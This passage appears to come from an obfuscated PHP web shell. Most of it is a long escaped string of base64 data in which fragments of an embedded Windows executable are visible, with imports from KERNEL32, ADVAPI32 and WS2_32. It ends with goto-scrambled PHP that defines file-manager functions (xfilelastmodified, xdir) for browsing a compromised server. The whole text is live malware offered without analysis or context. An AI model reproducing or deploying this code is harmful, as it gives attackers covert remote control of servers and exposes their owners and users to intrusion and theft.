\x71\x32\132\x64\x4b\x59\x34\143\x48\x42\117\x2f\x62\x52\x72\164\146\x7a\x55\x30\120\57\163\107\x49\x43\x33\x4d\154\70\x77\71\x47\x44\x6e\x61\171\12\63\x62\x2b\x37\x69\x49\166\120\60\53\164\62\103\122\x6b\x4e\x6a\125\x53\x78\x78\x57\x34\126\53\x77\x6b\x59\x36\x79\153\x6b\x77\105\x2f\147\107\127\117\110\64\x4a\64\154\x57\121\121\x50\156\131\123\x33\103\126\124\x36\126\x73\x4d\x34\151\x31\x52\x46\x6f\170\161\112\130\x42\116\130\x68\156\x67\x73\xa\123\63\114\x36\157\130\132\x4d\x57\161\160\x38\157\x74\x39\57\x70\x46\141\x6e\121\102\x54\x69\x39\161\x5a\x71\x44\167\116\111\x44\106\113\x41\101\105\120\x4d\130\151\x4e\x32\153\154\116\x52\147\102\70\x79\x2f\162\x44\x33\x49\102\x77\112\x55\101\147\117\x4f\x55\101\x51\x67\66\x53\111\x34\165\x78\165\12\71\x6d\x77\x6b\x44\57\65\111\121\x77\x70\x49\66\162\105\63\x33\117\x4a\x35\x51\x78\117\104\131\x41\124\x2b\105\x59\116\64\x43\x4c\x72\130\116\x74\61\x44\142\x46\x4d\121\143\x41\x78\x61\105\147\x6b\121\114\x58\157\x73\x4c\x47\104\60\104\71\x68\103\64\122\152\x79\102\x49\x43\123\171\70\x67\157\xa\53\163\127\57\x6f\146\116\115\x45\x65\170\122\x6a\125\147\125\125\132\163\162\110\x4f\x50\71\144\x6d\x56\151\x7a\x76\70\x4e\x4c\172\x73\106\x49\152\x56\120\166\x37\132\122\164\x78\123\127\x4f\157\x6b\x4e\x54\117\x73\x69\x64\130\65\x50\164\x36\117\x73\x69\124\x55\x31\x58\x43\154\x67\153\171\160\155\12\x4c\62\147\142\156\x39\171\x4e\131\104\x79\103\x4c\x42\x74\x49\106\63\x62\167\x2f\x44\163\66\x54\102\x64\x71\x53\x54\122\x39\104\x6f\120\117\x2f\71\120\165\x67\171\156\110\127\171\x33\x74\x2f\53\57\x30\66\170\x41\x6d\x67\120\53\62\x77\114\60\172\71\x74\120\157\104\x67\117\x68\x61\x59\x76\x59\12\x4f\71\x39\x2f\x75\x2f\x41\142\x66\x77\x68\172\107\131\164\x4c\64\x54\163\152\113\x79\x50\53\x43\70\x39\61\103\67\164\x64\64\61\x59\x2b\x46\x44\165\141\107\110\114\156\102\63\126\65\x32\x30\172\x49\x39\64\166\x61\117\71\147\x6d\x46\x51\x58\162\65\x68\x6b\154\165\x6b\x56\x33\x64\x56\153\153\12\x63\x37\116\67\x43\x45\x68\63\x79\114\x4e\172\105\x7a\x66\162\x37\123\131\116\107\x37\144\146\x6d\142\115\x76\x37\150\x63\154\x62\x6e\x75\x46\x32\63\131\130\164\104\x41\127\103\103\131\146\x57\x56\x73\164\142\x46\x75\164\57\111\102\x44\x71\x44\150\x73\102\x39\x31\162\61\x57\60\x62\x36\123\x4e\x70\xa\127\x71\125\125\151\x38\x4e\x62\161\127\x30\127\53\163\144\x4b\x4c\131\x75\115\153\114\x59\x37\x65\x39\x69\154\147\x4a\x42\105\x69\x44\x65\114\x45\156\x41\x52\71\147\164\x76\132\x56\x58\x64\x67\x32\x58\70\x68\x45\150\105\103\x39\x61\x4c\x43\x77\x45\115\164\144\102\61\102\x35\106\x4a\x46\x4b\142\x2f\xa\x4c\x6c\x77\x63\x58\64\166\x2b\x49\x7a\153\114\x31\x33\124\160\x69\65\x63\142\x68\172\x58\x72\x79\152\x50\x2f\x58\x46\150\x4e\144\x6b\172\57\x37\155\102\x33\x56\x38\65\61\x44\127\132\x71\x49\x47\x52\146\150\143\x6c\x38\x42\144\x48\x68\122\x36\x36\165\62\x2b\x37\x72\x39\64\x73\x67\x56\x50\x6c\104\12\103\x69\164\x2f\70\130\165\x4e\x52\x6b\63\x2f\x77\x66\64\105\124\x6f\120\53\x50\63\67\64\x58\152\x65\x62\x30\161\141\124\172\101\60\102\112\107\x45\x67\146\x53\163\x52\164\x36\125\117\x41\x75\70\x34\x6e\116\120\x7a\x37\103\115\x33\171\x6e\x48\63\130\111\x68\x45\x69\x51\120\53\x44\63\130\x71\xa\x59\145\167\150\60\127\x49\104\x36\121\166\x72\115\x52\x63\162\154\x53\x75\64\144\157\x75\150\115\x69\x45\132\113\124\x61\131\114\x43\x62\x6e\113\101\123\x46\x49\147\162\x41\162\x6b\x32\x76\x79\x33\157\105\53\101\103\126\162\x33\x6f\111\153\116\164\x2b\162\155\161\105\157\161\x6c\70\x38\x55\111\115\12\x70\126\x6b\x47\x6b\106\157\x69\167\x6d\121\107\x31\x56\114\160\x5a\x76\x34\114\146\123\156\105\x6d\x51\x73\165\x6a\127\62\x75\x78\170\106\x69\x76\67\x44\x4f\152\x41\x6b\67\147\116\x31\x32\x79\121\x71\x50\103\x58\x79\x75\x36\171\70\x6f\166\147\71\160\x6f\x2b\126\x4f\x74\x67\154\x37\102\x4c\x47\70\xa\x63\x44\x33\123\x78\x61\60\127\166\165\64\112\x4e\x32\x70\x30\x75\141\x56\146\117\x6e\x51\x4c\151\121\x71\x4a\x41\57\x79\171\x65\130\126\x74\53\x47\60\142\x76\x4e\105\151\x41\122\x49\171\x2f\x4a\x2b\x4c\104\x6e\162\70\126\161\x6f\x68\x4a\121\x38\53\x64\x52\x6f\x37\x48\146\x4c\x51\x69\116\x53\126\xa\66\60\x73\67\160\x41\x62\123\x70\x62\160\x67\x61\170\107\x4a\x55\x45\111\x45\x43\x41\x59\71\117\103\153\x43\x44\x57\57\163\115\116\62\66\167\x66\71\144\x64\124\102\x66\151\x56\102\171\x34\112\x43\127\x42\x61\x57\x30\x56\x35\144\157\115\x49\x50\x43\x42\x69\162\x48\x64\111\x69\x63\x44\x58\x2f\102\xa\x59\163\101\71\x43\x6d\x6a\105\121\145\x41\111\x52\67\x62\x50\x54\x45\x55\167\152\x54\x53\102\115\62\x53\112\122\166\132\x42\x41\57\x30\121\x64\x43\x70\161\x42\x47\x6a\57\x61\x4c\112\130\x47\146\121\107\115\x4d\150\x67\104\102\x31\62\x45\106\x65\61\61\111\103\102\x2f\x4e\x31\70\x54\161\x41\x57\12\x2b\x36\60\153\x78\x59\x6c\x2b\102\120\x38\106\x59\153\106\x77\110\141\x70\x64\x71\157\166\107\163\165\x37\x70\157\57\x57\x4e\x72\153\x74\170\171\x45\105\x49\115\71\x76\x46\124\53\x76\152\x52\162\120\147\121\70\x4d\x33\141\x63\103\x42\x57\166\166\x45\x64\150\164\152\x4d\x49\112\x46\66\x6b\x41\111\12\101\147\x54\x64\x75\x6a\126\163\156\105\x6f\x65\x2b\x34\130\102\65\x39\x39\65\104\x42\143\x77\x35\114\x4f\114\x45\111\101\101\122\121\63\x36\124\123\x62\122\x4a\171\x63\x56\x6a\x5a\x63\101\x63\x43\x4e\x6f\x63\x47\156\x37\53\156\143\70\152\x55\144\63\123\120\x4b\104\151\110\65\155\115\x4f\57\x75\xa\x39\x49\62\111\x2f\101\x62\110\121\120\172\167\121\x67\65\66\x6e\57\x76\164\67\x2f\x2b\154\123\101\124\x48\x67\117\147\121\106\101\126\127\63\154\105\x33\127\x43\172\x77\154\156\x62\x48\x49\60\70\x4d\102\x66\x6a\145\x75\x67\114\x67\x68\x75\153\155\x69\141\x79\116\x53\x67\171\110\62\x38\166\127\12\103\111\x39\x42\132\112\x35\x45\121\162\171\145\x34\x31\x57\161\x38\122\131\x73\x51\x34\162\x49\103\66\102\x47\161\61\x76\x64\145\157\150\x4f\121\167\163\112\x65\115\111\x73\x43\152\x67\157\x4d\x4d\164\157\x66\x6d\162\x50\x6a\x34\162\121\x32\x4b\166\x6b\131\x46\x5a\103\x65\x4a\x44\157\x34\x57\x68\105\12\122\x44\x42\143\x7a\127\x65\x4c\116\142\154\x34\x32\106\102\102\x68\152\150\105\163\x39\132\x68\x42\63\67\120\57\x69\154\x30\125\107\x67\x6f\105\107\147\125\x42\x36\116\x6b\x62\156\x6f\160\63\x75\110\127\x6f\62\151\x38\x43\71\x34\x57\x2f\71\x42\144\166\127\146\57\120\130\x51\117\x6f\x57\147\x51\xa\x42\x56\x4d\x52\166\x68\151\x67\x56\66\160\150\x41\60\106\116\152\147\x64\x57\122\61\x7a\x72\x2b\111\70\x4d\126\x35\123\163\x55\x72\x76\66\145\154\132\x54\151\71\156\144\x46\x50\x65\142\x54\147\x56\166\161\110\105\x6b\x45\x47\67\x62\x64\x57\x2f\162\111\x64\142\126\x6a\151\x69\70\x73\63\121\154\12\x67\x53\x6b\x66\116\57\x74\146\145\63\x58\x72\114\122\61\122\147\53\115\x44\x64\101\x30\147\x48\x61\x45\117\113\154\x51\x76\70\103\102\142\116\x56\x42\x36\x7a\x32\x6a\x44\x79\130\x51\123\117\157\x4e\x33\x30\x6a\60\x44\143\x52\x45\66\67\155\167\x59\x67\x41\152\121\116\x69\x37\x36\x4b\160\147\x67\xa\111\70\102\62\x39\62\117\x76\53\147\131\x6e\171\x33\114\171\106\157\120\x47\63\x69\x77\x65\x44\x4c\x58\x43\164\x79\116\x31\x78\x6a\156\162\x47\111\x48\151\170\x77\x77\164\x39\153\152\x54\103\121\64\x41\102\x44\120\x53\125\x2b\x35\163\71\67\164\164\x56\121\x6f\x45\x69\121\x64\146\x64\146\x69\167\xa\x64\x59\127\x6a\101\x6a\x6c\103\115\106\154\x51\x52\x4c\127\103\x55\165\x51\x63\x56\x4a\x38\121\x58\101\111\53\x66\60\x5a\x58\70\154\164\x54\132\x49\x6d\x65\64\x46\142\125\126\164\x61\x4d\163\x35\x58\x66\122\150\115\144\x49\53\x73\x69\x49\101\x78\x52\124\167\x67\x2b\x47\x34\150\x65\x49\147\105\111\12\x33\155\114\123\x57\127\x78\143\x46\110\x34\x51\x6f\x48\x45\110\x52\x46\x52\x64\172\154\154\132\x35\x57\x44\162\x6f\x74\x66\112\x48\x52\x4d\x64\106\150\x79\70\x4a\121\121\x75\x32\x58\122\111\171\x4f\x62\x35\105\110\x4d\x71\117\164\x4e\x39\111\101\121\x62\163\63\131\x67\143\x79\65\x2f\x4a\113\x43\104\12\65\x79\126\172\111\x50\53\x4c\143\53\x52\x4e\x6e\x49\x6a\x57\x31\64\126\x57\107\x51\x52\147\155\x78\x43\x43\107\x33\x66\x45\121\x64\167\x32\103\115\107\x47\x58\53\163\124\x63\120\x38\x6d\102\142\x79\61\x73\122\107\114\117\107\x66\x63\144\107\141\x36\x5a\107\62\x32\x4d\x39\x78\150\x49\x56\x66\60\xa\124\x53\x2f\x69\x4c\117\142\x73\107\161\127\115\104\53\x31\57\151\x52\x4a\x50\x52\x66\x64\x30\115\166\x5a\x46\x44\121\122\60\121\x44\x36\172\x6d\x36\155\62\110\110\x69\171\x51\x4e\x56\57\x48\x74\x72\101\142\107\x31\x6b\115\153\x6a\x53\152\x31\x43\66\153\111\x61\x79\171\115\145\x44\x38\147\x76\132\xa\x58\116\62\172\116\x74\x79\x4a\130\x65\101\x75\x56\153\157\x79\x45\x6c\165\x79\146\x58\146\113\x75\x74\142\146\x64\x4d\71\x6b\x35\x47\144\x30\156\111\x2b\64\x7a\127\x34\x33\163\x33\125\105\101\x2b\x73\x47\152\103\x68\157\111\x50\147\147\116\155\141\125\61\126\x43\x2f\x74\x33\x45\x4c\106\113\107\114\xa\x7a\70\132\170\60\121\147\x41\154\153\x72\116\x69\x30\x52\x57\x2f\x45\x6f\x4e\105\155\x79\x77\125\x45\114\x73\x51\117\x31\x4a\71\x4e\x6a\143\105\x74\63\x7a\x44\x46\67\111\113\x78\66\104\x77\165\x53\103\x6b\x78\x61\113\144\x48\64\120\117\104\114\x31\x4f\x71\161\102\164\x77\123\145\62\x65\122\101\12\123\130\x42\x72\x66\62\x67\x38\x79\x35\x48\120\103\131\x41\x37\x65\104\172\70\x4f\65\101\103\112\116\150\61\x42\114\167\104\64\x44\164\57\103\x44\x6b\x41\x38\x6d\147\x38\x61\x44\167\60\130\124\x64\131\120\61\x38\107\124\x41\x4e\105\120\101\153\x32\x54\144\115\x30\x4c\103\121\143\120\x48\x2f\165\xa\115\x34\143\101\141\104\172\167\x67\101\x4d\x44\x6b\x41\x53\142\152\x4b\x41\70\x66\167\104\x6e\x45\x66\x4b\x51\120\162\x41\x39\x43\x44\61\111\x73\117\164\x2b\114\112\x41\131\x43\x7a\x67\x44\131\x44\x31\57\x79\x43\107\x51\126\x77\x41\x2b\101\x44\66\x36\142\x72\102\121\x57\67\x52\x2f\x76\101\120\105\xa\x62\x4a\161\x6d\141\x63\x7a\x55\x33\x4f\124\63\120\125\x34\111\101\122\x4a\57\110\x78\101\x67\167\x61\x62\x72\102\x52\147\104\x4b\104\x77\53\x66\x78\x46\155\53\147\x58\x4d\x2f\x79\x58\x41\x6d\147\101\61\141\x6e\115\x41\57\66\163\127\123\151\x74\x42\x6a\70\167\x44\x46\60\60\131\153\167\120\142\12\160\166\66\57\143\x6e\x56\165\144\x47\x6c\164\132\123\x42\154\x63\156\x4a\166\x63\x6c\105\x4e\103\147\116\125\x41\146\x6c\x76\x39\153\170\x50\125\61\115\x52\104\147\x42\x54\123\x55\65\x48\x2f\x72\114\62\101\154\x4e\120\x54\125\x45\x53\105\x56\111\x32\x4d\x44\111\64\x74\x37\53\70\x33\121\147\164\xa\111\x45\x74\150\x59\155\170\x30\142\x79\102\x70\x62\x6d\154\x57\131\127\167\57\x33\x2b\x7a\x62\141\130\x6f\116\141\107\x56\x68\x63\104\x63\156\x4e\x32\x35\x76\x64\114\x5a\x76\143\x47\163\71\102\110\126\x6e\67\x6e\x4e\167\x59\127\x4d\152\132\x75\x77\62\x59\x4f\x39\x37\x62\x47\x39\63\x61\124\150\150\12\x42\x6d\x39\165\116\171\x42\x35\x43\162\x6b\x32\143\x33\122\153\127\166\x76\x74\x5a\172\126\x77\144\x58\111\162\144\155\x6c\171\x64\x48\x55\x68\115\67\67\131\71\164\x75\x6c\x59\171\115\147\131\x77\x78\x73\x4b\106\x38\x30\62\x6e\x61\142\x51\x6c\x38\x71\x5a\130\x68\143\x4c\x31\x69\167\153\67\63\62\xa\102\x74\x7a\151\130\172\x45\x35\x39\71\x76\x75\x35\162\x35\x76\x63\107\x56\x59\115\130\116\x76\104\x32\x52\x6c\143\62\116\x72\142\124\x4a\147\x4b\172\150\107\112\111\110\146\x51\x49\150\167\132\127\x51\132\x56\171\x4d\x33\x64\x6d\163\x30\112\107\62\x62\x72\110\122\157\x76\x79\x47\x4d\65\x4e\x74\150\12\x4c\62\x78\x76\131\x32\163\130\x6d\x74\163\107\127\x7a\122\x6b\x74\x32\105\x75\x41\166\141\x74\64\144\x61\x69\x49\x58\112\164\x41\x48\x42\x41\132\x33\x4a\x68\x62\x53\x42\67\x49\x52\x53\x32\x53\x6d\60\62\114\x7a\101\x35\124\x36\115\x5a\127\147\157\x51\x51\123\157\x72\x46\x50\x4b\x35\x52\152\x41\x75\12\x4b\x7a\147\71\x44\53\x48\67\131\130\x4a\x6e\144\123\150\172\x58\x7a\101\x79\132\157\x74\164\x32\x36\67\x42\x62\x6d\65\x6e\x67\155\70\x46\144\x44\157\122\x30\x41\160\156\162\x57\x54\x6d\146\60\60\164\x59\102\x6a\x2f\70\x4c\131\65\x5a\x68\126\127\x61\x58\x4f\161\121\171\x73\162\111\106\113\147\xa\131\145\x36\x37\x50\125\x78\160\x59\162\122\171\145\x53\143\113\114\x52\x59\141\132\71\x76\x44\x52\x51\x34\150\105\x56\x44\x55\117\x73\111\x32\x72\x45\104\132\101\103\67\x76\x35\x65\x44\x38\71\162\141\65\x4a\x53\x78\162\x62\110\144\165\120\150\x74\110\132\x58\122\x4d\131\142\105\x4c\x64\62\167\x79\12\121\x51\x4a\x32\132\x56\103\165\144\130\x41\124\57\66\61\164\x5a\x77\x39\x58\154\x57\x51\155\x68\x32\x56\172\x63\62\x46\x6e\132\125\112\x76\x4e\142\66\x77\x78\x48\x68\102\146\x58\x4d\154\x4d\172\x49\165\x5a\x43\162\x50\164\141\x49\156\x4e\67\x34\x35\x53\x41\x4d\114\x56\x4a\150\162\170\110\x49\x36\xa\x49\x41\x4d\101\x71\66\x51\145\x51\106\x34\160\x70\67\132\x71\71\146\164\123\x55\x30\61\124\x55\x77\144\154\x62\x5a\x6b\60\125\x31\x66\x66\101\x4b\x58\65\x76\x33\115\x67\x54\x57\x46\165\104\x75\143\x6f\121\x6e\x5a\171\x41\x46\167\166\x32\147\x4f\132\132\115\161\62\101\x43\x41\102\x4b\103\x43\132\12\123\102\64\x41\x53\x41\101\x51\150\105\x41\x6d\x5a\101\101\121\x67\121\x5a\153\103\107\x51\x42\105\x49\112\x6b\x43\x47\122\101\x41\x68\104\x75\x71\x73\162\x63\166\167\101\x42\102\x39\163\x49\144\x5a\x41\165\x32\x78\x68\142\x42\x52\x2f\101\x5a\112\102\x75\153\101\x73\x64\x43\167\x53\x57\x51\101\x5a\x70\12\102\157\x30\111\x6a\155\122\101\102\155\x53\x50\153\112\105\106\x5a\105\101\x47\x6b\x70\x4f\171\114\105\121\110\103\101\x66\166\x43\157\167\153\114\167\x74\x76\x44\113\163\x41\102\132\115\x5a\71\x7a\127\147\x62\x36\165\x49\x62\x44\71\x63\102\60\63\x54\116\x45\60\112\115\101\157\x4d\105\x4f\102\x30\xa\x72\x32\155\x57\x51\x68\x47\167\x45\154\x63\x48\105\170\143\x7a\x54\144\116\x67\x47\x43\150\x59\102\x30\63\x33\x6c\x6b\60\x61\x79\105\x45\x62\x75\167\143\x63\x61\x44\122\116\60\172\x52\64\x57\x48\x6c\x49\x65\164\x4d\60\x54\144\115\x34\x2f\104\124\57\112\x4b\165\111\156\121\122\x54\101\x67\x54\x53\12\122\145\124\132\167\x62\x35\147\147\156\x6d\103\111\x52\x65\x6d\63\x77\145\150\x70\142\170\65\x2f\x76\62\102\156\x2b\x44\x38\114\60\x42\53\147\120\x79\157\x77\141\x50\x61\157\x30\110\x4f\x48\155\x47\x58\147\146\x34\x48\x51\x47\x36\x51\111\142\103\61\x4c\x30\107\x32\130\53\x63\x72\65\x50\x2f\x50\12\x6f\165\x53\x69\x47\x67\x44\154\x6f\165\x69\151\127\x33\66\150\x2f\x6c\x66\171\62\x39\x31\122\102\121\x50\x61\x58\164\160\x66\x58\71\x70\x71\x32\x6a\x4c\124\64\x47\x58\156\71\164\152\x65\x34\120\x6b\65\x4d\x58\64\101\x2b\x41\x4d\x79\x4b\103\113\167\x57\144\156\126\x55\126\x46\70\x52\x79\121\x77\12\x2f\x66\x38\107\x6f\105\x31\105\121\x6e\154\x30\x5a\126\x52\166\x56\62\154\153\x5a\x55\116\157\x59\130\x49\104\x38\110\53\67\x46\x46\126\x75\x42\x6d\x35\x6b\142\x47\x56\153\x52\x58\x68\x6a\x5a\x58\x41\106\53\x6c\x61\x35\142\125\x5a\x70\x4a\x6d\125\x5a\x44\60\x4e\61\143\156\113\x32\157\x46\x57\x74\12\x76\61\125\101\x63\167\112\x77\x32\x64\x59\x53\111\62\x6b\115\x51\61\151\124\x62\x49\117\61\113\x41\x35\x42\114\x31\x4e\105\x65\53\x77\114\x77\x47\x6c\171\x74\155\x39\x79\145\x55\x46\106\x55\63\154\172\x4a\x37\x50\x57\104\x6d\x78\164\x46\106\x4e\x76\x61\x78\164\x71\71\x68\x76\x41\x64\x47\107\120\12\143\x45\x6c\x75\132\155\70\x73\67\162\116\130\x75\x5a\x62\x4e\x67\x47\71\x74\x62\132\x37\112\x32\x6a\x44\x33\x54\107\154\x75\132\x52\x36\x31\x76\x38\x71\x32\x4a\101\102\x6a\112\x55\127\x54\124\63\114\x37\x46\x31\x73\x41\x57\x58\x4d\x57\155\x6b\106\153\x5a\110\x4b\164\103\x55\x41\x42\x47\105\170\x68\xa\120\x41\102\110\101\162\160\x4a\x56\x67\x56\x42\142\x47\101\x4e\x59\x47\x74\115\104\x55\151\102\x43\x6a\x33\62\x4e\172\x74\x53\x5a\x51\x78\104\x51\x55\x4e\121\x42\x30\61\166\132\x43\171\x63\122\142\x68\171\132\125\x67\x71\161\x46\x59\152\x63\62\146\102\x48\x6a\115\164\103\60\71\106\124\x53\144\57\xa\126\x49\x42\x6c\167\164\x35\x35\x63\103\x55\120\126\x31\x52\x72\x75\x79\x55\70\141\152\x53\126\121\x30\x31\166\111\170\103\x77\x43\124\x74\102\x44\x56\x64\61\132\125\x4d\102\x32\112\102\x6c\x54\x72\x38\x34\x52\156\x4a\155\113\x57\170\154\67\x52\x68\x46\x62\x75\63\163\x30\112\x70\x65\x32\60\x52\x32\xa\107\155\71\x35\132\150\107\x47\x45\x44\132\x58\170\x65\x55\x62\x72\101\x45\x55\145\x6c\166\x44\x5a\x42\x49\x78\145\171\70\62\104\131\x33\120\x54\172\x5a\67\x53\x5a\147\x45\x55\111\131\x59\103\143\61\121\x62\x6e\170\x53\x64\107\170\147\x64\62\x6d\x38\x59\146\x41\x30\107\67\x46\x30\171\160\x47\x4a\xa\101\105\116\x77\62\x49\x79\64\132\x6e\x4e\154\131\107\x4a\x50\x73\x44\x50\x69\106\x6a\x74\124\x51\62\170\x42\104\x79\120\x59\152\x46\x6b\x69\x5a\101\x77\65\103\106\x67\171\x6d\x6e\107\x47\111\x52\162\142\102\146\x5a\122\x44\x6b\x50\x6c\142\111\131\164\x78\x46\64\x43\156\x33\122\x6a\x61\x46\166\x70\12\x5a\x7a\x59\x4c\x6d\113\115\117\x37\102\53\107\x48\115\x75\62\141\142\141\x6c\x6c\163\x7a\x2f\101\167\x49\x30\x46\x6e\146\x4c\163\x69\x77\105\101\147\x45\x4e\x7a\154\x4e\x42\125\71\166\x6d\x61\x41\107\111\x49\121\64\x4a\x41\147\152\x38\154\171\143\164\143\x34\112\x51\x52\x55\167\x42\x41\x77\x43\x4a\xa\x43\65\121\x2f\x6a\111\152\x39\x68\x2b\x41\101\104\x77\x45\x4c\101\121\142\60\x4a\63\132\171\62\122\63\x55\x46\x51\x51\x51\101\105\x41\101\x45\x41\53\x32\x59\122\116\151\x45\147\x63\x58\131\117\x78\163\x46\153\x79\x69\104\x42\x41\x48\x79\x37\63\x73\104\x51\131\x41\141\x45\123\104\122\60\x44\x57\xa\104\121\x69\151\x2f\x42\67\x57\105\102\166\x42\x4c\x68\150\x30\117\x69\x36\x51\64\x4c\x4f\121\104\124\103\131\x2b\x6d\101\x75\x63\x6b\x32\x59\144\x59\x61\114\x4a\167\154\124\101\65\160\x62\67\x4a\122\161\121\103\x34\x6d\x4a\x78\x77\x4b\x55\x50\x4b\x62\x6b\x6b\x46\121\167\x42\x4f\60\122\x51\x41\x41\xa\141\115\126\x76\163\171\121\101\101\x41\x44\x2f\101\101\101\x41\x41\x41\101\101\101\101\x41\101\101\101\x42\x67\166\x67\x42\x51\x51\x41\x43\x4e\166\x67\x44\101\x2f\x2f\71\130\x67\70\x33\57\66\x78\103\x51\153\x4a\103\121\x6b\x4a\x43\x4b\x42\x6b\x61\x49\102\x30\x63\102\62\x33\125\x48\x69\170\66\x44\xa\x37\166\x77\x52\62\63\x4c\x74\x75\x41\x45\x41\101\101\101\102\x32\x33\125\x48\151\x78\66\x44\x37\166\167\x52\x32\170\110\101\x41\x64\x74\x7a\x37\63\x55\112\x69\x78\x36\104\67\x76\167\122\x32\63\120\x6b\x4d\143\155\104\66\101\x4e\171\104\x63\110\x67\x43\x49\x6f\x47\122\x6f\120\167\x2f\x33\122\60\xa\151\x63\x55\102\x32\x33\x55\110\151\170\x36\104\67\166\167\x52\62\x78\x48\x4a\x41\x64\x74\61\x42\x34\x73\x65\147\53\x37\x38\x45\144\163\122\x79\130\125\147\x51\x51\x48\142\144\x51\x65\114\110\157\120\x75\x2f\102\110\x62\x45\143\x6b\x42\62\63\120\166\144\x51\x6d\x4c\110\157\x50\165\57\102\x48\142\12\143\x2b\123\104\167\121\x4b\102\57\x51\104\172\x2f\57\x2b\x44\60\121\107\116\106\x43\53\x44\x2f\146\x78\x32\104\64\157\103\121\x6f\x67\x48\122\60\154\x31\x39\x2b\154\x6a\x2f\x2f\x2f\x2f\x6b\x49\x73\x43\147\x38\111\x45\151\121\x65\x44\x78\x77\123\104\66\x51\122\63\70\121\110\120\x36\125\x7a\x2f\12\x2f\57\x39\145\x69\x66\x65\x35\143\x41\x41\101\x41\111\x6f\x48\122\x79\172\x6f\x50\101\106\x33\71\64\x41\57\101\63\x58\x79\x69\167\x65\113\x58\167\x52\155\x77\x65\147\x49\167\x63\x41\x51\150\x73\x51\x70\53\x49\104\162\x36\101\x48\x77\x69\x51\x65\x44\170\167\x57\x49\x32\117\114\132\x6a\142\64\x41\12\x55\101\x41\101\151\x77\x63\112\167\110\x52\106\x69\x31\70\x45\x6a\x59\121\x77\101\110\101\x41\x41\101\x48\x7a\125\x49\x50\x48\103\x50\x2b\x57\x55\x48\x41\x41\101\x4a\127\113\102\60\x63\x49\x77\x48\x54\143\x69\x66\154\65\x42\167\x2b\63\102\60\144\x51\x52\67\x6c\130\123\120\x4b\165\126\146\x2b\127\12\126\110\101\x41\101\x41\x6e\x41\x64\x41\145\112\x41\64\x50\x44\102\117\x76\x59\57\65\132\153\x63\x41\x41\x41\x69\66\65\x59\143\101\101\101\152\x62\64\x41\x38\x50\57\57\x75\x77\x41\x51\101\x41\x42\x51\126\x47\157\x45\x55\x31\x66\x2f\61\131\62\x48\65\167\105\x41\x41\x49\101\147\x66\64\102\x67\12\113\110\x39\x59\125\106\x52\x51\x55\x31\146\x2f\x31\x56\x68\x68\152\125\x51\153\147\x47\x6f\101\117\x63\x52\x31\53\157\120\163\x67\117\156\142\x6f\146\x2f\x2f\101\101\101\101\x41\x41\x41\101\101\101\x41\x41\101\x41\x41\101\101\x41\101\x41\101\x41\101\101\x41\110\171\101\x41\101\102\121\147\101\x41\101\xa\x41\101\x41\x41\x41\x41\x41\x41\x41\101\101\101\101\x41\101\101\x69\x59\x41\x41\x41\107\x79\101\101\101\101\x41\x41\101\x41\101\101\x41\101\x41\x41\x41\x41\x41\101\x41\x43\x57\147\x41\101\101\144\111\101\x41\x41\101\101\x41\101\x41\x41\101\x41\x41\x41\101\101\x41\101\101\101\x41\101\101\101\101\x41\x41\xa\101\x41\101\x41\157\111\101\x41\101\x4b\66\101\101\x41\103\x2b\x67\101\101\x41\x7a\157\x41\101\x41\x4e\171\101\101\x41\104\161\x67\x41\x41\x41\x41\x41\x41\x41\x41\120\151\x41\101\101\x41\101\x41\x41\x41\x41\x63\167\101\101\x67\101\101\x41\x41\101\102\x4c\122\x56\112\117\x52\x55\167\172\115\x69\65\105\12\124\105\x77\101\x51\x55\x52\x57\x51\x56\x42\x4a\115\x7a\x49\x75\132\x47\x78\x73\x41\x46\x64\x54\x4d\x6c\x38\x7a\x4d\x69\x35\x6b\x62\x47\167\x41\101\105\x78\x76\x59\127\x52\115\x61\127\112\x79\131\130\112\x35\121\121\101\101\122\x32\126\60\125\110\x4a\166\131\60\106\x6b\132\110\112\154\143\x33\115\x41\xa\x41\106\x5a\160\x63\156\122\x31\131\x57\170\121\143\x6d\x39\x30\x5a\x57\116\60\101\101\102\x57\x61\x58\112\60\144\x57\x46\x73\x51\127\170\x73\142\62\115\x41\101\x46\x5a\x70\143\x6e\122\61\x59\x57\x78\x47\x63\x6d\x56\154\x41\101\x41\101\x52\130\x68\x70\144\106\102\x79\142\x32\116\154\x63\x33\x4d\x41\12\x41\x41\102\x50\143\107\x56\x75\x55\x32\126\x79\144\155\154\x6a\132\x55\x45\x41\101\x41\101\101\101\x41\x41\101\x41\101\101\x41\x41\101\101\101\x41\101\x41\x41\101\101\x41\101\101\101\x41\101\x41\x41\101\x41\101\101\x41\x41\101\101\x41\x41\x41\101\x41\x41\101\x41\x41\101\101\101\x41\101\101\x41\101\101\xa\x41\x41\101\101\x41\101\101\101\x41\x41\101\101\x41\101\x41\x41\x41\x41\x41\x41\x41\x41\x41\101\x41\101\x41\x41\101\101\x41\101\101\x41\x41\x41\101\101\x41\101\101\101\101\x41\101\101\x41\x41\x41\x41\x41\101\101\101\x41\x41\x41\101\x41\x41\101\x41\x41\101\101\x41\x41\101\101\x41\101\x41\101\x41\101\x41\12\101\101\x41\101\x41\101\101\101\101\x41\101\101\x41\x41\101\101\x41\x41\101\101\101\x41\101\101\x41\101\x41\101\x41\101\x41\x41\101\x41\x41\101\x41\101\101\x41\x41\101\x41\101\x41\101\101\101\101\101\x41\x41\x41\x41\101\101\101\x41\x41\x41\101\x41\101\x41\x41\101\x41\101\101\x41\x41\x41\x41\x41\x41\101\xa\x41\101\101\x41\x41\x41\101\x41\x41\x41\x41\101\x41\101\101\101\101\101\101\x41\101\x41\101\x41\x41\101\x41\101\x41\x41\x41\101\x41\x41\x41\101\101\x41\101\x41\x41\x41\x41\x41\x41\101\101\x41\101\101\x41\x41\x41\x41\101\101\101\x41\x41\101\x41\101\101\x41\101\101\x41\101\101\x41\101\x41\x41\x41\x41\x41\12\x41\101\101\x41\101\x41\101\101\x41\x41\x41\101\101\x41\101\x41\x41\101\101\x41\101\x41\101\x41\101\101\101\x41\x41\101\x41\x41\x41\x41\x41\x41\101\x41\101\101\101\x41\101\101\x41\x41\x41\x41"; goto bdGRw; K6YeM: function xfilelastmodified($file) { if (is_file($file) || is_dir($file) || is_link($file)) { $lastm = date("\x64\55\115\x2d\131\40\110\72\x69", filemtime($file)); return $lastm; } return "\x3f\77\77"; } goto Yh0NS; rRIs7: function xdir($path) { $path = trim($path); $path = xcleanpath($path); if (is_dir($path)) { $fname = array(); $dname = array(); if ($dh = @scandir($path)) { foreach ($dh as $file) { if (is_dir($file)) { $dname[] = $file; } else { $fname[] = $file; } } } else { if ($dh = @opendir($path)) { while ($file = @readdir($dh)) { if (@is_dir($file)) { $dname[] = $file; } else { $fname[] = $file; } } @closedir($dh); } } natcasesort($fname); 